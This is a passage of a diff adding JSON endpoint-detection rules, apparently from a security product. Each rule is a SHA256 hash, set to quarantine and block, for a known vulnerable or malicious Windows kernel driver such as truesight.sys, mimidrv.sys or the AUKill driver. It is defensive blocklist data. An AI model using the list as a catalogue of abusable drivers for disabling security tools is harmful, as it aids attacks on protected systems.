+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808506Z",
+  "creation_date": "2026-03-23T11:45:31.808510Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808518Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "97744605f30900e2683e4d350ff13ac9a99d277217a53801afd7075d4f12acbd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "53d7e0f5-f489-5f27-9ebe-8f47a88d8bbd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616115Z",
+  "creation_date": "2026-03-23T11:45:29.616117Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616123Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8bda0108de82ebeae82f43108046c5feb6f042e312fa0115475a9e32274fae59",
+  "comment": "Phoenix Tech. vulnerable BIOS update tool (aka PhlashNT.sys and WinFlash64.sys) [https://www.loldrivers.io/drivers/be3e49ea-095e-4fdb-9529-f4c2dbb9a9fc/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "53fbf268-35fd-5cfc-ad29-7c610baa5971",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808902Z",
+  "creation_date": "2026-03-23T11:45:31.808904Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808910Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "47945068899bc61f8607d27995c73b3cb7228cded69f9ec96485e0c0f44ea2bc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5411539a-0196-5268-841f-ab7ddbef4d51",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818330Z",
+  "creation_date": "2026-03-23T11:45:30.818332Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818337Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f64a78b1294e6837f12f171a663d8831f232b1012fd8bae3c2c6368fbf71219b",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5411c76f-f733-5710-9e82-9a05fc418419",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825940Z",
+  "creation_date": "2026-03-23T11:45:30.825944Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825959Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3a1e98520eab5654dbfec4d96d9a2c90c874882f41aae2a38d746e83a11bb96d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "541945b5-60e1-55f6-abeb-ceff7f5c8384",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982982Z",
+  "creation_date": "2026-03-23T11:45:29.982984Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982993Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c36ace67f4e25f391e8709776348397e4fd3930e641b32c1b0da398e59199ca7",
+  "comment": "Vulnerable Kernel Driver (aka WiseUnlo.sys) [https://www.loldrivers.io/drivers/b28cc2ee-d4a2-4fe4-9acb-a7a61cad20c6/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5443dc9f-4fde-5fde-9e0c-4d604b2d0d3a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154186Z",
+  "creation_date": "2026-03-23T11:45:31.154188Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154194Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e31580793b8b73db0cc688a858522d9827aab9c726c3d06c948d4e4fb53e26a6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "544af126-1a38-5af3-91f7-715e19602716",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149507Z",
+  "creation_date": "2026-03-23T11:45:31.149510Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149519Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ee8a5173f1b5da1bbfe049d646c2c2621ea36163fe4e66f37641562e842ea9dd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "545460b2-4376-5b34-a71f-fa28fb7d311c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976939Z",
+  "creation_date": "2026-03-23T11:45:29.976941Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976954Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "091f6527aa79951fb0b4df269c0ea2247a13053e0d55784e29694381fe4f6fed",
+  "comment": "Malicious Windows Kernel Explorer Driver (aka WindowsKernelExplorer.sys) [https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "54571b5c-42d1-5b5f-9bdc-b8ead4672067",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489144Z",
+  "creation_date": "2026-03-23T11:45:31.489146Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489151Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "77903888069df50a2d881c1cc50c6aea35e47bcee9acf603347eb0ea6c71ad47",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "545b3b9e-b903-59b6-8b96-8d20531dc7a6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823063Z",
+  "creation_date": "2026-03-23T11:45:31.823066Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823074Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9b9a9b525d155296647f4288dcb64c3f5df82dd31f499cdf73abcef531121d0c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "545d0801-0984-5187-bf92-bb28ada9ce66",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984619Z",
+  "creation_date": "2026-03-23T11:45:29.984621Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984627Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f9fead3227d5cf7daf8c5312db672bc7a684e2216b2f48ff2fcd14493bc9c254",
+  "comment": "Vulnerable Kernel Driver (aka sfdrvx32.sys) [https://www.loldrivers.io/drivers/2ada18ae-2c52-49b6-b1a0-cf3b267f6dc7/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "545f625a-f25c-5251-a839-ce21fca8fd80",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.452402Z",
+  "creation_date": "2026-03-23T11:45:30.452406Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.452415Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bdc73f752c1353d41e877d8bf42a1c53f0bba7d6f52348aaef60e06f4d3087d0",
+  "comment": "Vulnerable Kernel Driver (aka Chaos-Rootkit.sys) [https://www.loldrivers.io/drivers/abcd2c10-1078-4cf9-b320-04ca38d22f98/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "545fa788-bd8a-50fd-90bd-30dae7d0b7ac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481549Z",
+  "creation_date": "2026-03-23T11:45:30.481551Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481557Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4ce8583768720be90fae66eed3b6b4a8c7c64e033be53d4cd98246d6e06086d0",
+  "comment": "Vulnerable Kernel Driver (aka rtif.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "547ffa79-1314-5e96-93e7-5dd23ebe5192",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610441Z",
+  "creation_date": "2026-03-23T11:45:29.610443Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610448Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "523d1d43e896077f32cd9acaa8e85b513bfb7b013a625e56f0d4e9675d9822ba",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "548e6fbf-d5f1-5867-a0d4-ed3fea70be40",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809519Z",
+  "creation_date": "2026-03-23T11:45:31.809522Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809530Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cea02a0e948cf58a39d404c6371aa7f3badeacc542d5173304cd75eea689f90e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "54910e8b-283e-5fa8-b71d-dd3cc5473565",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150339Z",
+  "creation_date": "2026-03-23T11:45:31.150341Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150346Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7d97f87f747274a8ce33b70b6fc20361906672880ef474a85039538cef63f45f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5491403c-b558-5497-b1da-240cca8afa8c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833938Z",
+  "creation_date": "2026-03-23T11:45:30.833941Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833958Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "912623216966eab3524716f2b68903f69487a577461a946b5e15a42804303561",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5492162c-3aa8-581a-a88c-a49c71ed5f00",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.807742Z",
+  "creation_date": "2026-03-23T11:45:31.807745Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.807753Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bd2b9349201d03dfeeb1a47c3474e3d18cce36b6b8d8c3373d8e83a2aabfd1b0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "54998e06-fa00-5425-b217-1774336bb8e5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.467061Z",
+  "creation_date": "2026-03-23T11:45:30.467064Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.467073Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ebc3a28af05f5b0b456f6ea59ad613109bbb1e2a888d7e3808e331335a77f087",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5499e5ac-acfb-516e-a2a5-04ed97f553c2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612850Z",
+  "creation_date": "2026-03-23T11:45:29.612852Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612857Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6a4875ae86131a594019dec4abd46ac6ba47e57a88287b814d07d929858fe3e5",
+  "comment": "Marvin Test Solutions HW vulnerable driver (aka Hw.sys and Hw64.sys) [https://decoded.avast.io/janvojtesek/the-return-of-candiru-zero-days-in-the-middle-east/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "549b2905-b170-5281-8571-96df7e84c434",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.463867Z",
+  "creation_date": "2026-03-23T11:45:30.463889Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.463898Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "087270d57f1626f29ba9c25750ca19838a869b73a1f71af50bdf37d6ff776212",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "549e68e8-be40-52a3-abdd-340b05512cfa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481713Z",
